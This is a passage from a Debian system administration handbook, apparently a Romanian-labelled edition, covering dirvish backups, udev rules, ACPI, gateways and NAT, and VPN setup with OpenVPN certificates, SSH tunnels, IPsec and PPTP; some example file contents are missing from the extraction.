Exemplu 9.3. The /etc/dirvish/master.conf
file
The bank
setting indicates the directory in which the backups are stored. The exclude
setting allows you to indicate files (or file types) to exclude from the backup. The Runall
is a list of file sets to backup with a time-stamp for each set, which allows you to assign the correct date to the copy, in case the backup is not triggered at precisely the assigned time. You have to indicate a time just before the actual execution time (which is, by default, 10:04 pm in Debian, according to /etc/cron.d/dirvish
). Finally, the expire-default
and expire-rule
settings define the expiration policy for backups. The above example keeps forever backups that are generated on the first Sunday of each quarter, deletes after one year those from the first Sunday of each month, and after 3 months those from other Sundays. Other daily backups are kept for 15 days. The order of the rules does matter, Dirvish uses the last matching rule, or the expire-default
one if no other expire-rule
matches.
IN PRACTICE Scheduled expiration
The expiration rules are not used by dirvish-expire to do its job. In reality, the expiration rules are applied when creating a new backup copy to define the expiration date associated with that copy. dirvish-expire simply peruses the stored copies and deletes those for which the expiration date has passed.
Exemplu 9.4. The /backup/root/dirvish/default.conf
file
The above example specifies the set of files to back up: these are files on the machine rivendell.falcot.com (for local data backup, simply specify the name of the local machine as indicated by hostname), especially those in the root tree (tree: /
), except those listed in exclude
. The backup will be limited to the contents of one filesystem (xdev: 1
). It will not include files from other mount points. An index of saved files will be generated (index: gzip
), and the image will be named according to the current date (image-default: %Y%m%d
).
There are many options available, all documented in the dirvish.conf(5) manual page. Once these configuration files are setup, you have to initialize each file set with the dirvish --vault vault
--init command. From there on the daily invocation of dirvish-runall will automatically create a new backup copy just after having deleted those that expired.
IN PRACTICE Remote backup over SSH
When dirvish needs to save data to a remote machine, it will use ssh to connect to it, and will start rsync as a server. This requires the root user to be able to automatically connect to it. The use of an SSH authentication key allows precisely that (see Secțiune 9.2.1.1, „Key-Based Authentication”).
Desktop computers, which are not backed up, will be easy to reinstall from custom DVD-ROMs prepared with Simple-CDD (see Secțiune 12.3.3, „Simple-CDD: The All-In-One Solution”). Since this performs an installation from scratch, it loses any customization that can have been made after the initial installation. This is fine since the systems are all hooked to a central LDAP directory for accounts and most desktop applications are preconfigured thanks to dconf (see Secțiune 13.3.1, „GNOME” for more information about this).
The Falcot Corp administrators are aware of the limits in their backup policy. Since they can't protect the backup server as well as a tape in a fireproof safe, they have installed it in a separate room so that a disaster such as a fire in the server room won't destroy backups along with everything else. Furthermore, they do an incremental backup on DVD-ROM once per week — only files that have been modified since the last backup are included.
GOING FURTHER Backing up SQL and LDAP services
Many services (such as SQL or LDAP databases) cannot be backed up by simply copying their files (unless they are properly interrupted during creation of the backups, which is frequently problematic, since they are intended to be available at all times). As such, it is necessary to use an “export” mechanism to create a “data dump” that can be safely backed up. These are often quite large, but they compress well. To reduce the storage space required, you will only store a complete text file per week, and a diff each day, which is created with a command of the type diff
file_from_yesterday
file_from_today
. The xdelta program produces incremental differences from binary dumps.
CULTURE TAR, the standard for tape backups
Historically, the simplest means of making a backup on Unix was to store a TAR archive on a tape. The tar command even got its name from “Tape ARchive”.
The hotplug kernel subsystem dynamically handles the addition and removal of devices, by loading the appropriate drivers and by creating the corresponding device files (with the help of udevd). With modern hardware and virtualization, almost everything can be hotplugged: from the usual USB/PCMCIA/IEEE 1394 peripherals to SATA hard drives, but also the CPU and the memory.
The kernel has a database that associates each device ID with the required driver. This database is used during boot to load all the drivers for the peripheral devices detected on the different buses, but also when an additional hotplug device is connected. Once the device is ready for use, a message is sent to udevd so it will be able to create the corresponding entry in /dev/
.
Before the appearance of hotplug connections, it was easy to assign a fixed name to a device. It was based simply on the position of the devices on their respective bus. But this is not possible when such devices can come and go on the bus. The typical case is the use of a digital camera and a USB key, both of which appear to the computer as disk drives. The first one connected may be /dev/sdb
and the second /dev/sdc
(with /dev/sda
representing the computer's own hard drive). The device name is not fixed; it depends on the order in which devices are connected.
Additionally, more and more drivers use dynamic values for devices' major/minor numbers, which makes it impossible to have static entries for the given devices, since these essential characteristics may vary after a reboot.
udev was created precisely to solve this problem.
IN PRACTICE Network card management
Many computers have multiple network cards (sometimes two wired interfaces and a wifi interface), and with hotplug support on most bus types, the Linux kernel does not guarantee fixed naming of network interfaces. But users who want to configure their network in
/etc/network/interfaces
need a fixed name!It would be difficult to ask every user to create their own udev rules to address this problem. This is why udev was configured in a rather peculiar manner; on first boot (and, more generally, each time that a new network card appears) it uses the name of the network interface and its MAC address to create new rules that will reassign the same name on subsequent boots. These rules are stored in
/etc/udev/rules.d/70-persistent-net.rules
.This mechanism has some side effects that you should know about. Let's consider the case of a computer that has only one PCI network card. The network interface is named
eth0
, logically. Now say the card breaks down, and the administrator replaces it; the new card will have a new MAC address. Since the old card was assigned the name,eth0
, the new one will be assignedeth1
, even though theeth0
card is gone for good (and the network will not be functional because/etc/network/interfaces
likely configures aneth0
interface). In this case, it is enough to simply delete the/etc/udev/rules.d/70-persistent-net.rules
file before rebooting the computer. The new card will then be given the expectedeth0
name.
When udev is notified by the kernel of the appearance of a new device, it collects various information on the given device by consulting the corresponding entries in /sys/
, especially those that uniquely identify it (MAC address for a network card, serial number for some USB devices, etc.).
Armed with all of this information, udev then consults all of the rules contained in /etc/udev/rules.d/
and /lib/udev/rules.d/
. In this process it decides how to name the device, what symbolic links to create (to give it alternative names), and what commands to execute. All of these files are consulted, and the rules are all evaluated sequentially (except when a file uses “GOTO” directives). Thus, there may be several rules that correspond to a given event.
The syntax of rules files is quite simple: each row contains selection criteria and variable assignments. The former are used to select events for which there is a need to react, and the latter defines the action to take. They are all simply separated with commas, and the operator implicitly differentiates between a selection criterion (with comparison operators, such as ==
or !=
) or an assignment directive (with operators such as =
, +=
or :=
).
Comparison operators are used on the following variables:
KERNEL
: the name that the kernel assigns to the device; ACTION
: the action corresponding to the event (“add” when a device has been added, “remove” when it has been removed); DEVPATH
: the path of the device's /sys/
entry; SUBSYSTEM
: the kernel subsystem which generated the request (there are many, but a few examples are “usb”, “ide”, “net”, “firmware”, etc.); ATTR{attribute
}
: file contents of the attribute
file in the /sys/$devpath
/
directory of the device. This is where you find the MAC address and other bus specific identifiers; KERNELS
, SUBSYSTEMS
and ATTRS{attributes
}
are variations that will try to match the different options on one of the parent devices of the current device; PROGRAM
: delegates the test to the indicated program (true if it returns 0, false if not). The content of the program's standard output is stored so that it can be reused by the RESULT
test; RESULT
: execute tests on the standard output stored during the last call to PROGRAM
. The right operands can use pattern expressions to match several values at the same time. For instance, *
matches any string (even an empty one); ?
matches any character, and []
matches the set of characters listed between the square brackets (or the opposite thereof if the first character is an exclamation point, and contiguous ranges of characters are indicated like a-z
).
Regarding the assignment operators, =
assigns a value (and replaces the current value); in the case of a list, it is emptied and contains only the value assigned. :=
does the same, but prevents later changes to the same variable. As for +=
, it adds an item to a list. The following variables can be changed:
NAME
: the device filename to be created in /dev/
. Only the first assignment counts; the others are ignored; SYMLINK
: the list of symbolic links that will point to the same device; OWNER
, GROUP
and MODE
define the user and group that owns the device, as well as the associated permission; RUN
: the list of programs to execute in response to this event. The values assigned to these variables may use a number of substitutions:
$kernel
or %k
: equivalent to KERNEL
; $number
or %n
: the order number of the device, for example, for sda3
, it would be “3”; $devpath
or %p
: equivalent to DEVPATH
; $attr{attribute
}
or %s{attribute
}
: equivalent to ATTRS{attribute
}
; $major
or %M
: the kernel major number of the device; $minor
or %m
: the kernel minor number of the device; $result
or %c
: the string output by the last program invoked by PROGRAM
; %%
and $$
for the percent and dollar sign, respectively. The above lists are not complete (they include only the most important parameters), but the udev(7) manual page should be exhaustive.
Let us consider the case of a simple USB key and try to assign it a fixed name. First, you must find the elements that will identify it in a unique manner. For this, plug it in and run udevadm info -a -n /dev/sdc (replacing /dev/sdc
with the actual name assigned to the key).
#
udevadm info -a -n /dev/sdc
[...]
looking at device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2/1-2.2:1.0/host9/target9:0:0/9:0:0:0/block/sdc':
KERNEL=="sdc"
SUBSYSTEM=="block"
DRIVER==""
ATTR{range}=="16"
ATTR{ext_range}=="256"
ATTR{removable}=="1"
ATTR{ro}=="0"
ATTR{size}=="126976"
ATTR{alignment_offset}=="0"
ATTR{capability}=="53"
ATTR{stat}==" 51 100 1208 256 0 0 0 0 0 192 25 6"
ATTR{inflight}==" 0 0"
[...]
looking at parent device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2/1-2.2:1.0/host9/target9:0:0/9:0:0:0':
KERNELS=="9:0:0:0"
SUBSYSTEMS=="scsi"
DRIVERS=="sd"
ATTRS{device_blocked}=="0"
ATTRS{type}=="0"
ATTRS{scsi_level}=="3"
ATTRS{vendor}=="I0MEGA "
ATTRS{model}=="UMni64MB*IOM2C4 "
ATTRS{rev}==" "
ATTRS{state}=="running"
[...]
ATTRS{max_sectors}=="240"
[...]
looking at parent device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2':
KERNELS=="9:0:0:0"
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{configuration}=="iCfg"
ATTRS{bNumInterfaces}==" 1"
ATTRS{bConfigurationValue}=="1"
ATTRS{bmAttributes}=="80"
ATTRS{bMaxPower}=="100mA"
ATTRS{urbnum}=="398"
ATTRS{idVendor}=="4146"
ATTRS{idProduct}=="4146"
ATTRS{bcdDevice}=="0100"
[...]
ATTRS{manufacturer}=="USB Disk"
ATTRS{product}=="USB Mass Storage Device"
ATTRS{serial}=="M004021000001"
[...]
To create a new rule, you can use tests on the device's variables, as well as those of one of the parent devices. The above case allows us to create two rules like these:
Once these rules are set in a file, named for example /etc/udev/rules.d/010_local.rules
, you can simply remove and reconnect the USB key. You can then see that /dev/usb_key/disk
represents the disk associated with the USB key, and /dev/usb_key/part1
is its first partition.
GOING FURTHER Debugging udev's configuration
Like many daemons, udevd stores logs in
/var/log/daemon.log
. But it is not very verbose by default, and it is usually not enough to understand what is happening. The udevadm control --log-priority=info command increases the verbosity level and solves this problem. udevadm control --log-priority=err returns to the default verbosity level.
The topic of power management is often problematic. Indeed, properly suspending the computer requires that all the computer's device drivers know how to put them to standby, and that they properly reconfigure the devices upon waking. Unfortunately, there are still a few devices unable to sleep well under Linux, because their manufacturers have not provided the required specifications.
Linux supports ACPI (Advanced Configuration and Power Interface) — the most recent standard in power management. The acpid package provides a daemon that looks for power management related events (switching between AC and battery power on a laptop, etc.) and that can execute various commands in response.
BEWARE Graphics card and standby
The graphics card driver is often the culprit when standby doesn't work properly. In that case, it is a good idea to test the latest version of the X.org graphics server.
After this overview of basic services common to many Unix systems, we will focus on the environment of the administered machines: the network. Many services are required for the network to work properly. They will be discussed in the next chapter.
Linux sports the whole Unix heritage for networking, and Debian provides a full set of tools to create and manage them. This chapter reviews these tools.
A gateway is a system linking several networks. This term often refers to a local network's “exit point” on the mandatory path to all external IP addresses. The gateway is connected to each of the networks it links together, and acts as a router to convey IP packets between its various interfaces.
BACK TO BASICS IP packet
Most networks nowadays use the IP protocol (Internet Protocol). This protocol segments the transmitted data into limited-size packets. Each packet contains, in addition to its payload data, a number of details required for its proper routing.
BACK TO BASICS TCP/UDP
Many programs do not handle the individual packets themselves, even though the data they transmit does travel over IP; they often use TCP (Transmission Control Protocol). TCP is a layer over IP allowing the establishment of connections dedicated to data streams between two points. The programs then only see an entry point into which data can be fed with the guarantee that the same data exits without loss (and in the same sequence) at the exit point at the other end of the connection. Although many kinds of errors can happen in the lower layers, they are compensated by TCP: lost packets are retransmitted, and packets arriving out of order (for example, if they used different paths) are re-ordered appropriately.
Another protocol relying on IP is UDP (User Datagram Protocol). In contrast to TCP, it is packet-oriented. Its goals are different: the purpose of UDP is only to transmit one packet from an application to another. The protocol does not try to compensate for possible packet loss on the way, nor does it ensure that packets are received in the same order as were sent. The main advantage to this protocol is that the latency is greatly improved, since the loss of a single packet does not delay the receiving of all following packets until the lost one is retransmitted.
TCP and UDP both involve ports, which are “extension numbers” for establishing communication with a given application on a machine. This concept allows keeping several different communications in parallel with the same correspondent, since these communications can be distinguished by the port number.
Some of these port numbers — standardized by the IANA (Internet Assigned Numbers Authority) — are “well-known” for being associated with network services. For instance, TCP port 25 is generally used by the email server.
When a local network uses a private address range (not routable on the Internet), the gateway needs to implement address masquerading so that the machines on the network can communicate with the outside world. The masquerading operation is a kind of proxy operating on the network level: each outgoing connection from an internal machine is replaced with a connection from the gateway itself (since the gateway does have an external, routable address), the data going through the masqueraded connection is sent to the new one, and the data coming back in reply is sent through to the masqueraded connection to the internal machine. The gateway uses a range of dedicated TCP ports for this purpose, usually with very high numbers (over 60000). Each connection coming from an internal machine then appears to the outside world as a connection coming from one of these reserved ports.
CULTURE Private address range
RFC 1918 defines three ranges of IPv4 addresses not meant to be routed on the Internet but only used in local networks. The first one,
10.0.0.0/8
(see sidebar BACK TO BASICS Essential network concepts (Ethernet, IP address, subnet, broadcast)), is a class-A range (with 224 IP addresses). The second one,172.16.0.0/12
, gathers 16 class-B ranges (172.16.0.0/16
to172.31.0.0/16
), each containing 216 IP addresses. Finally,192.168.0.0/16
is a class-B range (grouping 256 class-C ranges,192.168.0.0/24
to192.168.255.0/24
, with 256 IP addresses each).
The gateway can also perform two kinds of network address translation (or NAT for short). The first kind, Destination NAT (DNAT) is a technique to alter the destination IP address (and/or the TCP or UDP port) for a (generally) incoming connection. The connection tracking mechanism also alters the following packets in the same connection to ensure continuity in the communication. The second kind of NAT is Source NAT (SNAT), of which masquerading is a particular case; SNAT alters the source IP address (and/or the TCP or UDP port) of a (generally) outgoing connection. As for DNAT, all the packets in the connection are appropriately handled by the connection tracking mechanism. Note that NAT is only relevant for IPv4 and its limited address space; in IPv6, the wide availability of addresses greatly reduces the usefulness of NAT by allowing all “internal” addresses to be directly routable on the Internet (this does not imply that internal machines are accessible, since intermediary firewalls can filter traffic).
BACK TO BASICS Port forwarding
A concrete application of DNAT is port forwarding. Incoming connections to a given port of a machine are forwarded to a port on another machine. Other solutions may exist for achieving a similar effect, though, especially at the application level with ssh (see Secțiune 9.2.1.3, „Creating Encrypted Tunnels with Port Forwarding”) or redir.
Enough theory, let's get practical. Turning a Debian system into a gateway is a simple matter of enabling the appropriate option in the Linux kernel, by way of the /proc/
virtual filesystem:
#
echo 1 > /proc/sys/net/ipv4/conf/default/forwarding
This option can also be automatically enabled on boot if /etc/sysctl.conf
sets the net.ipv4.conf.default.forwarding
option to 1
.
Exemplu 10.1. The /etc/sysctl.conf
file
The same effect can be obtained for IPv6 by simply replacing ipv4
with ipv6
in the manual command and using the net.ipv6.conf.all.forwarding
line in /etc/sysctl.conf
.
Enabling IPv4 masquerading is a slightly more complex operation that involves configuring the netfilter firewall.
Similarly, using NAT (for IPv4) requires configuring netfilter. Since the primary purpose of this component is packet filtering, the details are listed in Cap. 14: „Security” (see Secțiune 14.2, „Firewall or Packet Filtering”).
A Virtual Private Network (VPN for short) is a way to link two different local networks through the Internet by way of a tunnel; the tunnel is usually encrypted for confidentiality. VPNs are often used to integrate a remote machine within a company's local network.
Several tools provide this. OpenVPN is an efficient solution, easy to deploy and maintain, based on SSL/TLS. Another possibility is using IPsec to encrypt IP traffic between two machines; this encryption is transparent, which means that applications running on these hosts need not be modified to take the VPN into account. SSH can also be used to provide a VPN, in addition to its more conventional features. Finally, a VPN can be established using Microsoft's PPTP protocol. Other solutions exist, but are beyond the focus of this book.
OpenVPN is a piece of software dedicated to creating virtual private networks. Its setup involves creating virtual network interfaces on the VPN server and on the client(s); both tun
(for IP-level tunnels) and tap
(for Ethernet-level tunnels) interfaces are supported. In practice, tun
interfaces will most often be used except when the VPN clients are meant to be integrated into the server's local network by way of an Ethernet bridge.
OpenVPN relies on OpenSSL for all the SSL/TLS cryptography and associated features (confidentiality, authentication, integrity, non-repudiation). It can be configured either with a shared private key or using X.509 certificates based on a public key infrastructure. The latter configuration is strongly preferred since it allows greater flexibility when faced with a growing number of roaming users accessing the VPN.
CULTURE SSL and TLS
The SSL protocol (Secure Socket Layer) was invented by Netscape to secure connections to web servers. It was later standardized by IETF under the acronym TLS (Transport Layer Security). Since then TLS continued to evolve and nowadays SSL is deprecated due to multiple design flaws that have been discovered.
The RSA algorithm is widely used in public-key cryptography. It involves a “key pair”, comprised of a private and a public key. The two keys are closely linked to each other, and their mathematical properties are such that a message encrypted with the public key can only be decrypted by someone knowing the private key, which ensures confidentiality. In the opposite direction, a message encrypted with the private key can be decrypted by anyone knowing the public key, which allows authenticating the origin of a message since only someone with access to the private key could generate it. When associated with a digital hash function (MD5, SHA1, or a more recent variant), this leads to a signature mechanism that can be applied to any message.
However, anyone can create a key pair, store any identity on it, and pretend to be the identity of their choice. One solution involves the concept of a Certification Authority (CA), formalized by the X.509 standard. This term covers an entity that holds a trusted key pair known as a root certificate. This certificate is only used to sign other certificates (key pairs), after proper steps have been undertaken to check the identity stored on the key pair. Applications using X.509 can then check the certificates presented to them, if they know about the trusted root certificates.
OpenVPN follows this rule. Since public CAs only emit certificates in exchange for a (hefty) fee, it is also possible to create a private certification authority within the company. The easy-rsa package provides tools to serve as an X.509 certification infrastructure, implemented as a set of scripts using the openssl command.
NOTE easy-rsa before Jessie
In versions of Debian up to Wheezy, easy-rsa was distributed as part of the openvpn package, and its scripts were to be found under
/usr/share/doc/openvpn/examples/easy-rsa/2.0/
. Setting up a CA involved copying that directory, instead of using the make-cadir command as documented here.
The Falcot Corp administrators use this tool to create the required certificates, both for the server and the clients. This allows the configuration of all clients to be similar since they will only have to be set up so as to trust certificates coming from Falcot's local CA. This CA is the first certificate to create; to this end, the administrators set up a directory with the files required for the CA in an appropriate location, preferably on a machine not connected to the network in order to mitigate the risk of the CA's private key being stolen.
$
make-cadir pki-falcot
$
cd pki-falcot
They then store the required parameters into the vars
file, especially those named with a KEY_
prefix; these variables are then integrated into the environment:
$
vim vars
$
grep KEY_ vars
export KEY_CONFIG=`$EASY_RSA/whichopensslcnf $EASY_RSA`
export KEY_DIR="$EASY_RSA/keys"
echo NOTE: If you run ./clean-all, I will be doing a rm -rf on $KEY_DIR
export KEY_SIZE=2048
export KEY_EXPIRE=3650
export KEY_COUNTRY="FR"
export KEY_PROVINCE="Loire"
export KEY_CITY="Saint-Étienne"
export KEY_ORG="Falcot Corp"
export KEY_EMAIL="admin@falcot.com"
export KEY_OU="Certificate authority"
export KEY_NAME="Certificate authority for Falcot Corp"
# If you'd like to sign all keys with the same Common Name, uncomment the KEY_CN export below
# export KEY_CN="CommonName"
$
. ./vars
NOTE: If you run ./clean-all, I will be doing a rm -rf on /home/roland/pki-falcot/keys
$
./clean-all
The next step is the creation of the CA's key pair itself (the two parts of the key pair will be stored under keys/ca.crt
and keys/ca.key
during this step):
$
./build-ca
Generating a 2048 bit RSA private key
...................................................................+++
...+++
writing new private key to 'ca.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [FR]:
State or Province Name (full name) [Loire]:
Locality Name (eg, city) [Saint-Étienne]:
Organization Name (eg, company) [Falcot Corp]:
Organizational Unit Name (eg, section) [Certificate authority]:
Common Name (eg, your name or your server's hostname) [Falcot Corp CA]:
Name [Certificate authority for Falcot Corp]:
Email Address [admin@falcot.com]:
The certificate for the VPN server can now be created, as well as the Diffie-Hellman parameters required for the server side of an SSL/TLS connection. The VPN server is identified by its DNS name vpn.falcot.com
; this name is re-used for the generated key files (keys/vpn.falcot.com.crt
for the public certificate, keys/vpn.falcot.com.key
for the private key):
$
./build-key-server vpn.falcot.com
Generating a 2048 bit RSA private key
.....................................................................................................................+++
...........+++
writing new private key to 'vpn.falcot.com.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [FR]:
State or Province Name (full name) [Loire]:
Locality Name (eg, city) [Saint-Étienne]:
Organization Name (eg, company) [Falcot Corp]:
Organizational Unit Name (eg, section) [Certificate authority]:
Common Name (eg, your name or your server's hostname) [vpn.falcot.com]:
Name [Certificate authority for Falcot Corp]:
Email Address [admin@falcot.com]:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
Using configuration from /home/roland/pki-falcot/openssl-1.0.0.cnf
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
countryName :PRINTABLE:'FR'
stateOrProvinceName :PRINTABLE:'Loire'
localityName :T61STRING:'Saint-\0xFFFFFFC3\0xFFFFFF89tienne'
organizationName :PRINTABLE:'Falcot Corp'
organizationalUnitName:PRINTABLE:'Certificate authority'
commonName :PRINTABLE:'vpn.falcot.com'
name :PRINTABLE:'Certificate authority for Falcot Corp'
emailAddress :IA5STRING:'admin@falcot.com'
Certificate is to be certified until Mar 6 14:54:56 2025 GMT (3650 days)
Sign the certificate? [y/n]:
y
1 out of 1 certificate requests certified, commit? [y/n]
y
Write out database with 1 new entries
Data Base Updated
$
./build-dh
Generating DH parameters, 2048 bit long safe prime, generator 2
This is going to take a long time
[…]
The following step creates certificates for the VPN clients; one certificate is required for each computer or person allowed to use the VPN:
$
./build-key JoeSmith
Generating a 2048 bit RSA private key
................................+++
..............................................+++
writing new private key to 'JoeSmith.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [FR]:
State or Province Name (full name) [Loire]:
Locality Name (eg, city) [Saint-Étienne]:
Organization Name (eg, company) [Falcot Corp]:
Organizational Unit Name (eg, section) [Certificate authority]:
Development unit
Common Name (eg, your name or your server's hostname) [JoeSmith]:
Joe Smith
[…]
Now all certificates have been created, they need to be copied where appropriate: the root certificate's public key (keys/ca.crt
) will be stored on all machines (both server and clients) as /etc/ssl/certs/Falcot_CA.crt
. The server's certificate is installed only on the server (keys/vpn.falcot.com.crt
goes to /etc/ssl/vpn.falcot.com.crt
, and keys/vpn.falcot.com.key
goes to /etc/ssl/private/vpn.falcot.com.key
with restricted permissions so that only the administrator can read it), with the corresponding Diffie-Hellman parameters (keys/dh2048.pem
) installed to /etc/openvpn/dh2048.pem
. Client certificates are installed on the corresponding VPN client in a similar fashion.
By default, the OpenVPN initialization script tries starting all virtual private networks defined in /etc/openvpn/*.conf
. Setting up a VPN server is therefore a matter of storing a corresponding configuration file in this directory. A good starting point is /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz
, which leads to a rather standard server. Of course, some parameters need to be adapted: ca
, cert
, key
and dh
need to describe the selected locations (respectively, /etc/ssl/certs/Falcot_CA.crt
, /etc/ssl/vpn.falcot.com.crt
, /etc/ssl/private/vpn.falcot.com.key
and /etc/openvpn/dh2048.pem
). The server 10.8.0.0 255.255.255.0
directive defines the subnet to be used by the VPN; the server uses the first IP address in that range (10.8.0.1
) and the rest of the addresses are allocated to clients.
With this configuration, starting OpenVPN creates the virtual network interface, usually under the tun0
name. However, firewalls are often configured at the same time as the real network interfaces, which happens before OpenVPN starts. Good practice therefore recommends creating a persistent virtual network interface, and configuring OpenVPN to use this pre-existing interface. This further allows choosing the name for this interface. To this end, openvpn --mktun --dev vpn --dev-type tun creates a virtual network interface named vpn
with type tun
; this command can easily be integrated in the firewall configuration script, or in an up
directive of the /etc/network/interfaces
file. The OpenVPN configuration file must also be updated accordingly, with the dev vpn
and dev-type tun
directives.
Barring further action, VPN clients can only access the VPN server itself by way of the 10.8.0.1
address. Granting the clients access to the local network (192.168.0.0/24), requires adding a push route 192.168.0.0 255.255.255.0
directive to the OpenVPN configuration so that VPN clients automatically get a network route telling them that this network is reachable by way of the VPN. Furthermore, machines on the local network also need to be informed that the route to the VPN goes through the VPN server (this automatically works when the VPN server is installed on the gateway). Alternatively, the VPN server can be configured to perform IP masquerading so that connections coming from VPN clients appear as if they are coming from the VPN server instead (see Secțiune 10.1, „Gateway”).
Setting up an OpenVPN client also requires creating a configuration file in /etc/openvpn/
. A standard configuration can be obtained by using /usr/share/doc/openvpn/examples/sample-config-files/client.conf
as a starting point. The remote vpn.falcot.com 1194
directive describes the address and port of the OpenVPN server; the ca
, cert
and key
also need to be adapted to describe the locations of the key files.
If the VPN should not be started automatically on boot, set the AUTOSTART
directive to none
in the /etc/default/openvpn
file. Starting or stopping a given VPN connection is always possible with the commands service openvpn@name
start and service openvpn@name
stop (where the connection name
matches the one defined in /etc/openvpn/
). name
.conf
The network-manager-openvpn-gnome package contains an extension to Network Manager (see Secțiune 8.2.4, „Automatic Network Configuration for Roaming Users”) that allows managing OpenVPN virtual private networks. This allows every user to configure OpenVPN connections graphically and to control them from the network management icon.
There are actually two ways of creating a virtual private network with SSH. The historic one involves establishing a PPP layer over the SSH link. This method is described in a HOWTO document:
The second method is more recent, and was introduced with OpenSSH 4.3; it is now possible for OpenSSH to create virtual network interfaces (tun*
) on both sides of an SSH connection, and these virtual interfaces can be configured exactly as if they were physical interfaces. The tunneling system must first be enabled by setting PermitTunnel
to “yes” in the SSH server configuration file (/etc/ssh/sshd_config
). When establishing the SSH connection, the creation of a tunnel must be explicitly requested with the -w any:any
option (any
can be replaced with the desired tun
device number). This requires the user to have administrator privilege on both sides, so as to be able to create the network device (in other words, the connection must be established as root).
Both methods for creating a virtual private network over SSH are quite straightforward. However, the VPN they provide is not the most efficient available; in particular, it does not handle high levels of traffic very well.
The explanation is that when a TCP/IP stack is encapsulated within a TCP/IP connection (for SSH), the TCP protocol is used twice, once for the SSH connection and once within the tunnel. This leads to problems, especially due to the way TCP adapts to network conditions by altering timeout delays. The following site describes the problem in more detail:
VPNs over SSH should therefore be restricted to one-off tunnels with no performance constraints.
IPsec, despite being the standard in IP VPNs, is rather more involved in its implementation. The IPsec engine itself is integrated in the Linux kernel; the required user-space parts, the control and configuration tools, are provided by the ipsec-tools package. In concrete terms, each host's /etc/ipsec-tools.conf
contains the parameters for IPsec tunnels (or Security Associations, in the IPsec terminology) that the host is concerned with; the /etc/init.d/setkey script provides a way to start and stop a tunnel (each tunnel is a secure link to another host connected to the virtual private network). This file can be built by hand from the documentation provided by the setkey(8) manual page. However, explicitly writing the parameters for all hosts in a non-trivial set of machines quickly becomes an arduous task, since the number of tunnels grows fast. Installing an IKE daemon (for IPsec Key Exchange) such as racoon or strongswan makes the process much simpler by bringing administration together at a central point, and more secure by rotating the keys periodically.
In spite of its status as the reference, the complexity of setting up IPsec restricts its usage in practice. OpenVPN-based solutions will generally be preferred when the required tunnels are neither too many nor too dynamic.
CAUTION IPsec and NAT
NATing firewalls and IPsec do not work well together: since IPsec signs the packets, any change on these packets that the firewall might perform will void the signature, and the packets will be rejected at their destination. Various IPsec implementations now include the NAT-T technique (for NAT Traversal), which basically encapsulates the IPsec packet within a standard UDP packet.
SECURITY IPsec and firewalls
The standard mode of operation of IPsec involves data exchanges on UDP port 500 for key exchanges (also on UDP port 4500 in the case that NAT-T is in use). Moreover, IPsec packets use two dedicated IP protocols that the firewall must let through; reception of these packets is based on their protocol numbers, 50 (ESP) and 51 (AH).
PPTP (for Point-to-Point Tunneling Protocol) uses two communication channels, one for control data and one for payload data; the latter uses the GRE protocol (Generic Routing Encapsulation). A standard PPP link is then set up over the data exchange channel.
The pptp-linux package contains an easily-configured PPTP client for Linux. The following instructions take their inspiration from the official documentation:
The Falcot administrators created several files: /etc/ppp/options.pptp
, /etc/ppp/peers/falcot
, /etc/ppp/ip-up.d/falcot
, and /etc/ppp/ip-down.d/falcot
.
Exemplu 10.2. The /etc/ppp/options.pptp
file
Exemplu 10.3. The /etc/ppp/peers/falcot
file
Exemplu 10.4. The /etc/ppp/ip-up.d/falcot
file
Exemplu 10.5. The /etc/ppp/ip-down.d/falcot
file
SECURITY MPPE
Securing PPTP involves using the MPPE feature (Microsoft Point-to-Point Encryption), which is available in official Debian kernels as a module.
CAUTION PPTP and firewalls
Intermediate firewalls need to be configured to let through IP packets using protocol 47 (GRE). Moreover, the PPTP server's port 1723 needs to be open so that the communication channel can happen.
pptpd is the PPTP server for Linux. Its main configuration file, /etc/pptpd.conf
, requires very few changes: localip (local IP address) and remoteip (remote IP address). In the example below, the PPTP server always uses the 192.168.0.199
address, and PPTP clients receive IP addresses from 192.168.0.200
to 192.168.0.250
.
Exemplu 10.6. The /etc/pptpd.conf
file
The PPP configuration used by the PPTP server also requires a few changes in /etc/ppp/pptpd-options
. The important parameters are the server name (pptp
), the domain name (falcot.com
), and the IP addresses for DNS and WINS servers.
Exemplu 10.7. The /etc/ppp/pptpd-options
file
The last step involves registering the vpn
user (and the associated password) in the /etc/ppp/chap-secrets
file. Contrary to other instances where an asterisk (*
) would work, the server name must be filled explicitly here. Furthermore, Windows PPTP clients identify themselves under the
form, instead of only providing a user name. This explains why the file also mentions the DOMAIN
\\USER
FALCOT\\vpn
user. It is also possible to specify individual IP addresses for users; an asterisk in this field specifies that dynamic addressing should be used.
Exemplu 10.8. The /etc/ppp/chap-secrets
file
SECURITY PPTP vulnerabilities
Microsoft's first PPTP implementation drew severe criticism because it had many security vulnerabilities; most have since then been fixed in more recent versions. The configuration documented in this section uses the latest version of the protocol. Be aware though that removing some options (such as
require-mppe-128
andrequire-mschap-v2
) would make the service vulnerable again.
Quality of Service (or QoS for short) refers to a set of techniques that guarantee or improve the quality of the service provided to applications. The most popular such technique involves classifying the network traffic into categories, and differentiating the handling of traffic according to which category it belongs to. The main application of this differentiated services concept is traffic shaping, which limits the data transmission rates for connections related to some services and/or hosts so as not to saturate the available bandwidth and starve important other services. Traffic shaping is a particularly good fit for TCP traffic, since this protocol automatically adapts to available bandwidth.
It is also possible to alter the priorities on traffic, which allows prioritizing packets related to interactive services (such as ssh and telnet) or to services that only deal with small blocks of data.
